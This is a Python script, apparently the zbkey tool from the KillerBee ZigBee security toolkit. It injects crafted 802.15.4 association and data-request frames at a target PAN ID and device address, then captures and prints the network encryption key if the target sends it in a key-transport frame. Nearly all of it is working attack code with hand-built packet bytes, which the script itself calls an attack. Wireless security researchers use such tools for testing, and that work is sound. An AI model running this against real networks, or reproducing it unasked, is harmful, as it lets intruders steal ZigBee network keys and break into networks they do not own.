#!/usr/bin/env python
# Contributed by: mandar.satam@gmail.com
# Edited by:      ryan@riverloopsecurity.com
# Version:        BETA

import sys
import signal
import binascii
import struct
import time

from killerbee import *


def usage():
    print >>sys.stderr, """
zbkey: Attempts to retrieve a key by sending the associate request followed by the data request after association response
       Example usage: ./zbkey -f 14 -s 0.1 -p aa1a -a 0fc8071c08c25100 -i [deviceid]

Usage: ./zbkey -f [channel] -s 0.1 -p [PANID] -a [IEEE64bitaddress] -i [deviceid]
    """


def show_dev():
    '''Prints the list of connected devices to stdout.'''
    kb = KillerBee()
    print "Dev\tProduct String\tSerial Number"
    for dev in kb.dev_list():
        print "%s\t%s\t%s" % (dev[0], dev[1], dev[2])


def interrupt(signum, frame):
    '''Handles shutdown when a signal is received.'''
    global kb
    kb.close()
    print "Exiting..."
    sys.exit(2)


def associate_response_handle(packet):
    #TODO link to the correct part of the specification for this frame
    '''
    Handle the association response packet.
    We expect the FCF to be 0xCC63 and command type to be 0x02 (Assoc Resp)
    @arg  packet 
    @type packet 
    @return A string representing the device's short address in hex notation,
            or none if the packet was not the length or type expected.
    '''
    print "Length of packet received in associate_handle: {0}".format(len(packet))
    print kbutils.hexdump(packet)
    if len(packet) > 24:
        # Offset to Command Type, check to be 0x02 for assoc response type
        if packet[21] == '\x02':
            if packet[24] != '\x00':
                print("Association response status was not successful. Received {0}.".format(struct.unpack('B', packet[24])[0]))
                return None
            # Offset to Response Assigned Short Addr (in assoc response type)
            return packet[22:24] #device's short address, as binary string
    return None   


def transport_response_handle(packet):
    #TODO link to the correct part of the specification for this frame
    '''
    Handle the transport response packet.
    We expect the FCF to be 0x8861 and the command type to be 0x05 (Data)
    @arg  packet 
    @type packet 
    @return A string representing the key in hex notation,
            or none if the packet was not the length or type expected.
    '''
    print "Length of packet received in transport_handle: {0}".format(len(packet))
    print kbutils.hexdump(packet)
    if len(packet) > 19:
    	if packet[19] == '\x05':
        	key = packet[21:33]
        	return key
    return None


def isAckFor(packet, lastseq):
    '''
    Determine if the packet is an acknowledgement frame corresponding to our
    last sent sequence number.
    '''
    if packet[0:2] == '\x02\x00':
        if packet[2] == lastseq:
            return True
    return False


def getAckByte(packet):
    return packet[2]

# Command-line arguments
arg_channel = None
arg_devstring = None
arg_sleep = 1
arg_delay = 4

# Parameters to build association packet
arg_IEE64addr = None    #May be specified on command line
arg_panID = None        #May be specified on command line
ASSOC_SEQNUM = '\x01'
ASSOC_DST = '\x00\x00'
ASSOC_SRC_PANID = '\xff\xff'
assoc_packet = None

# Parameters to build data packet
ASSOC_DATA_SEQNUM = '\x02'

# key transport data arguments
DATA_KEY_SEQNUM = '\x03'

# Command Line Processing
while len(sys.argv) > 1:
    op = sys.argv.pop(1)
    if op == '-f':
        arg_channel = int(sys.argv.pop(1))
    if op == '-i':
        arg_devstring = sys.argv.pop(1)
    if op == '-h':
        usage()
        sys.exit(0)
    if op == '-D':
        show_dev()
        sys.exit(0)
    if op == '-s':
        arg_sleep = float(sys.argv.pop(1))
    if op == '-a':
        arg_IEE64addr = binascii.unhexlify(sys.argv.pop(1))
        #print "reverse_addr:%s" % arg_IEE64addr[::-1].encode('hex')
        arg_IEE64addr = arg_IEE64addr[::-1] #hack to switch endian
    if op == '-p':
        arg_panID = binascii.unhexlify(sys.argv.pop(1))
        arg_panID = arg_panID[::-1] #hack to swap endian
        #print "reverse_panid:%s" % arg_panID.encode('hex')
    if op == '-z':
        arg_IEEEcoord = sys.argv.pop(1)
    if op == '-y':
        arg_IEEEdev = sys.argv.pop(1)

if arg_channel == None:
    print >>sys.stderr, "ERROR: Must specify a channel with -f"
    usage()
    sys.exit(1)
if arg_panID == None:
    print >>sys.stderr, "ERROR: Must specify a PAN ID"
    usage()
    sys.exit(1)
if arg_IEE64addr == None or len(arg_IEE64addr) != 8:
    print >>sys.stderr, "ERROR: Must specify a 64-bit address of the target"
    usage()
    sys.exit(1)

kb = KillerBee(device=arg_devstring)
signal.signal(signal.SIGINT, interrupt)
kb.set_channel(arg_channel)

#./zbkey -f 14 -R test1 -s 0.1 -p aa1a -a 0fc8071c08c25100 -i [deviceid]

# Build the packet we use to send ASSOCIATION REQUEST
#   last byte is association request, 80 to request alloc addr only, can try other combos like c0
assoc_packet = '\x23\xc8'+ASSOC_SEQNUM+arg_panID+ASSOC_DST+ASSOC_SRC_PANID+arg_IEE64addr+'\x01'+'\x80' # associate packet 

print "Sending association packet..."
#print kbutils.hexdump(assoc_packet)
kb.inject(assoc_packet)

# NOW SEND FIRST DATA REQUEST
# Build the data packet sent after the association response is received
data_assoc_packet  = '\x63\xc8'+ASSOC_DATA_SEQNUM+arg_panID+ASSOC_DST+arg_IEE64addr+'\x04' #data packet after association        

time.sleep(0.5)
# send data after association packet
print "Sending data request packet..."
#print kbutils.hexdump(data_assoc_packet)
kb.inject(data_assoc_packet)

# receiving the association response and setting the device_short_address
value = None
start = time.time()
while (start+arg_delay > time.time()):		
    # Does not block
    recvpkt = kb.pnext()
    # Check for empty packet (timeout) and valid FCS
    if recvpkt != None and recvpkt['validcrc']:
        print "Received frame"
        # If packet is an assocation response, get the assigned device
        # short address, else get None if packet isn't the right type
        value = associate_response_handle(recvpkt['bytes'])
        if value != None:
            # Let's ack them to thank them for the join...
            kb.sniffer_off()
            kb.inject('\x02\x00'+getAckByte(recvpkt['bytes']))
            print "Short address: {0}".format(value)
            break

if value == None:
    print "Sorry, we didn't hear a device respond with an association response. Do you have an active target within range?"
    kb.sniffer_off()
    kb.close()
    sys.exit(1)

# Now build a packet to issue the SECOND DATA REQUEST, for the key to be sent
if value != None:
    data_key_packet = '\x63\x88'+DATA_KEY_SEQNUM+arg_panID+ASSOC_DST+value+'\x04' # data packet after association response 
    print "Sending the data key packet..."
    #print kbutils.hexdump(data_key_packet)
    kb.inject(data_key_packet)

    # Now see if someone transmits key data
    start = time.time()
    receivedKey = None
    while (start+arg_delay > time.time()):
        # Does not block 
        recvpkt = kb.pnext() 
        # Check for empty packet (timeout) and valid FCS
        if recvpkt != None and recvpkt['validcrc']:
            receivedKey = transport_response_handle(recvpkt['bytes']) 
            if receivedKey != None:
                print "Received key: {0}".format(receivedKey.encode("hex"))
                kb.close()
                sys.exit(0)

    if receivedKey == None:
        print "Sorry, we didn't get a key. The effectiveness of this attack depends highly on the configuration of the target network."

kb.close()
sys.exit(1)
